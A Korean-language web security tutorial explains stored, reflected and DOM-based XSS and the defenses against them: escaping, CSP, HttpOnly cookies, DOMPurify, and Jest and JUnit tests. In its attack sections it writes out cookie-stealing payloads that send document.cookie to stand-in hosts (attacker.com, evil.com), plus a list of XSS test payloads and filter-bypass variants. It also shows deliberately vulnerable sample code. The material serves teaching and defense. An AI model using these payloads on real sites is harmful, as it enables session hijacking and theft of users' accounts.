[Web Security] XSS 공격과 방어 기법 완벽 가이드

🎯 XSS(Cross-Site Scripting)란?

XSS는 공격자가 웹 페이지에 악성 스크립트를 삽입하여 다른 사용자의 브라우저에서 실행시키는 공격입니다.
사용자의 쿠키, 세션 토큰을 탈취하거나, 사용자인 척 행동할 수 있습니다.

XSS vs CSRF 차이점

구분 XSS CSRF
공격 대상 웹사이트의 사용자 웹사이트의 서버
공격 방식 악성 스크립트 실행 사용자 권한으로 요청 전송
주요 수단 JavaScript 주입 자동 폼 제출, 이미지 태그
탈취 가능 쿠키, 세션, DOM, 키 입력 등 불가능 (요청만 가능)

🔍 XSS 공격 유형

1. Stored XSS (저장형)

악성 스크립트가 서버 데이터베이스에 저장되어, 해당 페이지를 보는 모든 사용자에게 실행됩니다.
가장 위험한 XSS 공격입니다.

공격 시나리오

// 게시판 댓글 작성
const comment = '<script>
fetch("https://attacker.com/steal?cookie=" + document.cookie);
</script>';

// 서버에 저장됨
// DB: comments 테이블에 위 스크립트가 그대로 저장

// 다른 사용자가 게시글을 볼 때
<div class="comment">
<script>
fetch("https://attacker.com/steal?cookie=" + document.cookie);
</script>
</div>
// ⚠️ 모든 방문자의 쿠키가 탈취됨!

실제 사례

<!-- 프로필 이름 필드에 스크립트 삽입 -->
이름: <img src=x onerror="
new Image().src='https://evil.com/log?c='+document.cookie
">

<!-- 게시글 제목 -->
제목: <svg onload="alert('XSS')">

<!-- 댓글 내용 -->
<iframe src="javascript:alert('XSS')"></iframe>

2. Reflected XSS (반사형)

악성 스크립트가 URL 파라미터나 폼 입력을 통해 즉시 반사되어 실행됩니다.
서버에 저장되지 않으며, 피싱 링크를 통해 전파됩니다.

공격 시나리오

// 취약한 검색 기능
https://shop.com/search?q=<script>alert('XSS')</script>

// 서버 코드 (취약)
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`검색 결과: ${query}`); // ⚠️ 그대로 출력
});

// 렌더링 결과
<div>
검색 결과: <script>alert('XSS')</script>
</div>

피싱 공격 예시

공격자가 이메일로 전송하는 링크:
https://bank.com/login?redirect=<script>
document.location='https://evil.com/phishing?cookie='+document.cookie
</script>

사용자가 클릭하면:
1. 은행 사이트에서 스크립트 실행
2. 쿠키가 공격자 서버로 전송
3. 공격자가 세션 하이재킹

3. DOM-based XSS (DOM 기반)

서버를 거치지 않고 클라이언트 측 JavaScript에서 발생합니다.
URL Fragment(#)나 DOM 조작 시 발생합니다.

공격 시나리오

// 취약한 JavaScript 코드
const urlParams = new URLSearchParams(window.location.search);
const name = urlParams.get('name');
document.getElementById('welcome').innerHTML = `환영합니다, ${name}님!`;
// ⚠️ innerHTML에 직접 삽입

// 공격 URL
https://site.com/?name=<img src=x onerror="alert('XSS')">

// 결과
<div id="welcome">
환영합니다, <img src=x onerror="alert('XSS')">님!
</div>

위험한 DOM API

// ❌ 위험한 방법들
element.innerHTML = userInput;
element.outerHTML = userInput;
document.write(userInput);
eval(userInput);
setTimeout(userInput, 1000);
new Function(userInput);

// ✅ 안전한 대안
element.textContent = userInput; // HTML 파싱 안 함
element.innerText = userInput; // HTML 파싱 안 함

🛡️ XSS 방어 기법

1. 입력 검증 및 새니타이제이션 (Input Validation & Sanitization)

백엔드 검증 (필수)

// Spring Boot + JSR-303 Validation
@PostMapping("/comment")
public ResponseEntity<?> createComment(@Valid @RequestBody CommentDto dto) {
return ResponseEntity.ok(commentService.save(dto));
}

public class CommentDto {
@NotBlank
@Size(min = 1, max = 500)
@Pattern(regexp = "^[^<>]*$", message = "HTML 태그는 허용되지 않습니다")
private String content;
}
// Node.js + express-validator
const { body, validationResult } = require('express-validator');

app.post('/comment',
body('content')
.trim()
.isLength({ min: 1, max: 500 })
.escape(), // HTML 엔티티 변환
(req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
// 저장 로직
}
);

HTML 엔티티 인코딩

// 위험한 문자를 HTML 엔티티로 변환
function escapeHtml(text) {
const map = {
'&': '&amp;',
'<': '&lt;',
'>': '&gt;',
'"': '&quot;',
"'": '&#039;',
'/': '&#x2F;'
};
return text.replace(/[&<>"'/]/g, char => map[char]);
}

// 사용 예시
const userInput = '<script>alert("XSS")</script>';
const safe = escapeHtml(userInput);
console.log(safe);
// &lt;script&gt;alert(&quot;XSS&quot;)&lt;&#x2F;script&gt;

2. 출력 인코딩 (Output Encoding)

템플릿 엔진 자동 이스케이프

<!-- Thymeleaf (Spring) - 기본적으로 이스케이프 -->
<div th:text="${userInput}"></div>
<!-- 결과: &lt;script&gt;alert('XSS')&lt;/script&gt; -->

<!-- HTML 그대로 출력 (위험!) -->
<div th:utext="${userInput}"></div>
<!-- 결과: <script>alert('XSS')</script> ⚠️ 실행됨! -->
// React - 기본적으로 이스케이프
function Comment({ text }) {
return <div>{text}</div>;
// 자동으로 HTML 엔티티로 변환
}

// 위험한 방법 (사용 금지)
function DangerousComment({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
// ⚠️ XSS 취약점 발생!
}
<!-- Vue.js - 기본적으로 이스케이프 -->
<template>
<div>{{ userInput }}</div>
<!-- 안전: HTML 엔티티로 변환 -->

<div v-html="userInput"></div>
<!-- ⚠️ 위험: HTML 그대로 렌더링 -->
</template>

3. Content Security Policy (CSP)

브라우저에게 “어떤 스크립트를 실행할지” 알려주는 보안 정책입니다.

CSP 헤더 설정

Content-Security-Policy: default-src 'self';
script-src 'self' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
font-src 'self' https://fonts.googleapis.com;
object-src 'none';
base-uri 'self';
form-action 'self';

CSP 디렉티브 설명

디렉티브 설명
default-src 모든 리소스의 기본 정책
script-src JavaScript 실행 가능한 출처
style-src CSS 출처
img-src 이미지 출처
connect-src AJAX, WebSocket 연결 허용 출처
font-src 폰트 출처
object-src <object>, <embed> 태그 출처
base-uri <base> 태그 제한
form-action 폼 제출 가능한 URL

CSP 특수 값

'none'              - 모든 출처 차단
'self' - 같은 도메인만 허용
'unsafe-inline' - 인라인 스크립트/스타일 허용 (⚠️ 위험)
'unsafe-eval' - eval() 사용 허용 (⚠️ 위험)
'strict-dynamic' - Nonce/Hash로 로드된 스크립트가 생성한 스크립트 허용
'nonce-<random>' - 특정 난수를 가진 스크립트만 허용
'sha256-<hash>' - 특정 해시를 가진 스크립트만 허용

Spring Boot CSP 설정

@Configuration
public class SecurityConfig {

@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.headers(headers -> headers
.contentSecurityPolicy(csp -> csp
.policyDirectives(
"default-src 'self'; " +
"script-src 'self' 'nonce-{nonce}' https://cdn.jsdelivr.net; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:; " +
"font-src 'self' https://fonts.googleapis.com; " +
"connect-src 'self' https://api.example.com; " +
"frame-ancestors 'none'; " +
"base-uri 'self'; " +
"form-action 'self'"
)
)
);

return http.build();
}
}

Nonce 기반 CSP (권장)

// Controller
@GetMapping("/page")
public String page(Model model) {
String nonce = generateRandomNonce();
model.addAttribute("cspNonce", nonce);
return "page";
}

// Nonce 생성
private String generateRandomNonce() {
byte[] nonceBytes = new byte[16];
new SecureRandom().nextBytes(nonceBytes);
return Base64.getEncoder().encodeToString(nonceBytes);
}
<!-- Thymeleaf 템플릿 -->
<html>
<head>
<meta http-equiv="Content-Security-Policy"
th:content="'script-src ''nonce-' + ${cspNonce} + ''''">
</head>
<body>
<!-- Nonce 속성이 있는 스크립트만 실행됨 -->
<script th:nonce="${cspNonce}">
console.log('This script will execute');
</script>

<!-- Nonce가 없으면 차단됨 -->
<script>
console.log('This will be blocked');
</script>
</body>
</html>

4. HTTPOnly & Secure 쿠키

Set-Cookie: session_id=abc123;
HttpOnly; # JavaScript로 접근 불가
Secure; # HTTPS에서만 전송
SameSite=Strict # CSRF 방어

Spring Boot 설정

# application.yml
server:
servlet:
session:
cookie:
http-only: true
secure: true
same-site: strict
// Java 코드로 쿠키 설정
@PostMapping("/login")
public ResponseEntity<?> login(@RequestBody LoginDto dto, HttpServletResponse response) {
String sessionId = authService.login(dto);

ResponseCookie cookie = ResponseCookie.from("session_id", sessionId)
.httpOnly(true)
.secure(true)
.sameSite("Strict")
.path("/")
.maxAge(Duration.ofHours(1))
.build();

response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());
return ResponseEntity.ok().build();
}

5. 라이브러리를 이용한 새니타이제이션

DOMPurify (JavaScript)

import DOMPurify from 'dompurify';

// 사용자 입력을 안전하게 정제
const dirty = '<img src=x onerror="alert(\'XSS\')"> <b>Hello</b>';
const clean = DOMPurify.sanitize(dirty);
console.log(clean);
// 결과: <img src="x"> <b>Hello</b>
// onerror는 제거됨

// 설정 옵션
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'i', 'u', 'strong', 'em'],
ALLOWED_ATTR: ['href', 'title']
});

OWASP Java HTML Sanitizer

import org.owasp.html.PolicyFactory;
import org.owasp.html.Sanitizers;

// 기본 정책 사용
PolicyFactory policy = Sanitizers.FORMATTING
.and(Sanitizers.LINKS);

String unsafe = "<script>alert('XSS')</script><b>Hello</b>";
String safe = policy.sanitize(unsafe);
System.out.println(safe);
// 결과: <b>Hello</b>

// 커스텀 정책
PolicyFactory customPolicy = new HtmlPolicyBuilder()
.allowElements("p", "div", "span", "b", "i", "strong", "em")
.allowAttributes("href").onElements("a")
.allowAttributes("class").matching(Pattern.compile("[a-zA-Z0-9-_]+"))
.toFactory();

6. 프레임워크 기본 보호 기능 활용

React

// ✅ 안전 - 자동 이스케이프
function SafeComponent({ userInput }) {
return <div>{userInput}</div>;
}

// ❌ 위험 - 직접 HTML 삽입
function DangerousComponent({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

// ✅ 안전 - DOMPurify로 정제 후 사용
import DOMPurify from 'dompurify';

function SafeHtmlComponent({ html }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

Vue.js

<template>
<!-- ✅ 안전 - 자동 이스케이프 -->
<div>{{ userInput }}</div>

<!-- ❌ 위험 - HTML 직접 렌더링 -->
<div v-html="userInput"></div>

<!-- ✅ 안전 - 정제 후 사용 -->
<div v-html="sanitizedInput"></div>
</template>

<script>
import DOMPurify from 'dompurify';

export default {
props: ['userInput'],
computed: {
sanitizedInput() {
return DOMPurify.sanitize(this.userInput);
}
}
};
</script>

🎯 실전 방어 전략

계층별 방어 (Defense in Depth)

1. 입력 단계
클라이언트 검증 (UX 개선용)
서버 검증 (필수)
화이트리스트 기반 검증

2. 저장 단계
인코딩된 형태로 저장
DB 파라미터 바인딩 사용 (SQL Injection 방어)

3. 출력 단계
템플릿 엔진 자동 이스케이프
Context-aware 인코딩
DOMPurify 라이브러리 활용

4. 브라우저 단계
CSP 헤더 설정
HttpOnly 쿠키
X-XSS-Protection 헤더

Context-aware 인코딩

// HTML Context
const htmlEncoded = escapeHtml(userInput);
element.textContent = htmlEncoded;

// JavaScript Context
const jsEncoded = JSON.stringify(userInput);
const script = `var name = ${jsEncoded};`;

// URL Context
const urlEncoded = encodeURIComponent(userInput);
const url = `https://example.com/search?q=${urlEncoded}`;

// CSS Context (사용 최소화)
const cssEncoded = userInput.replace(/[<>"']/g, '\\$&');

Spring Security 헤더 설정

@Configuration
public class SecurityConfig {

@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.headers(headers -> headers
// XSS 보호
.xssProtection(xss -> xss
.headerValue(XXssProtectionHeaderWriter.HeaderValue.ENABLED_MODE_BLOCK)
)
// CSP
.contentSecurityPolicy(csp -> csp
.policyDirectives(
"default-src 'self'; " +
"script-src 'self' 'nonce-{nonce}'; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:; " +
"frame-ancestors 'none'"
)
)
// 기타 보안 헤더
.frameOptions(frame -> frame.deny())
.contentTypeOptions(Customizer.withDefaults())
);

return http.build();
}
}

🧪 XSS 공격 테스트

페이로드 예시

<!-- 기본 스크립트 -->
<script>alert('XSS')</script>

<!-- 이미지 태그 -->
<img src=x onerror="alert('XSS')">

<!-- SVG 태그 -->
<svg onload="alert('XSS')">

<!-- 이벤트 핸들러 -->
<body onload="alert('XSS')">
<div onmouseover="alert('XSS')">hover me</div>

<!-- JavaScript 프로토콜 -->
<a href="javascript:alert('XSS')">click</a>

<!-- Data URI -->
<iframe src="data:text/html,<script>alert('XSS')</script>"></iframe>

<!-- 인코딩 우회 -->
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;XSS&#39;&#41;">

<!-- 대소문자 우회 -->
<ScRiPt>alert('XSS')</ScRiPt>

<!-- HTML 엔티티 -->
<img src=x onerror="alert('XSS')" />

<!-- 속성 없는 태그 -->
<script>alert(String.fromCharCode(88,83,83))</script>

자동화 테스트

// Jest + React Testing Library
import { render, screen } from '@testing-library/react';
import DOMPurify from 'dompurify';

test('XSS 공격이 차단되는지 확인', () => {
const maliciousInput = '<img src=x onerror="alert(\'XSS\')">';
const sanitized = DOMPurify.sanitize(maliciousInput);

expect(sanitized).not.toContain('onerror');
expect(sanitized).not.toContain('alert');
});

test('정상적인 HTML은 허용되는지 확인', () => {
const safeInput = '<b>Hello</b>';
const sanitized = DOMPurify.sanitize(safeInput);

expect(sanitized).toBe('<b>Hello</b>');
});
// JUnit + Spring Boot
@Test
void testXssProtection() throws Exception {
String maliciousComment = "<script>alert('XSS')</script>";

mockMvc.perform(post("/api/comments")
.contentType(MediaType.APPLICATION_JSON)
.content("{\"content\":\"" + maliciousComment + "\"}"))
.andExpect(status().isBadRequest())
.andExpect(jsonPath("$.message")
.value(containsString("HTML 태그는 허용되지 않습니다")));
}

⚠️ 주의사항

잘못된 방어 방법

// ❌ 블랙리스트 방식 (우회 가능)
function badFilter(input) {
return input.replace(/<script>/gi, '');
}
// 우회: <scr<script>ipt>alert('XSS')</script>

// ❌ 불완전한 이스케이프
function badEscape(input) {
return input.replace(/</g, '&lt;').replace(/>/g, '&gt;');
}
// 누락: ', ", &, / 등

// ❌ 클라이언트 측 검증만 의존
// 공격자는 브라우저 개발자 도구로 우회 가능

올바른 방어 방법

// ✅ 화이트리스트 방식
function allowOnlyText(input) {
return input.replace(/[^\w\s가-힣]/g, '');
}

// ✅ 완전한 HTML 엔티티 인코딩
function properEscape(text) {
return text.replace(/[&<>"'\/]/g, char => ({
'&': '&amp;',
'<': '&lt;',
'>': '&gt;',
'"': '&quot;',
"'": '&#039;',
'/': '&#x2F;'
})[char]);
}

// ✅ 라이브러리 사용
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(input);

✅ 보안 체크리스트

  • 모든 사용자 입력에 대해 서버 측 검증 수행
  • 출력 시 자동 이스케이프 적용 (템플릿 엔진)
  • CSP 헤더 설정
  • HttpOnly, Secure 쿠키 사용
  • innerHTML, dangerouslySetInnerHTML 사용 최소화
  • eval(), setTimeout(string), Function(string) 사용 금지
  • DOMPurify 같은 검증된 라이브러리 사용
  • 정기적인 보안 테스트 및 코드 리뷰
  • 프레임워크 및 라이브러리 최신 버전 유지
  • HTTPS 사용 강제

🎓 결론

XSS는 사용자 입력을 신뢰하지 않는 것이 핵심입니다.

핵심 방어 원칙:

  1. 입력 검증 - 서버에서 모든 입력 검증
  2. 출력 인코딩 - Context-aware 인코딩 적용
  3. CSP 설정 - 스크립트 실행 제어
  4. HttpOnly 쿠키 - JavaScript로 쿠키 접근 차단
  5. 라이브러리 활용 - DOMPurify 등 검증된 도구 사용

단일 방어보다는 **여러 계층의 방어(Defense in Depth)**를 구축하여
하나가 뚫려도 다른 방어선에서 막을 수 있도록 해야 합니다.

Share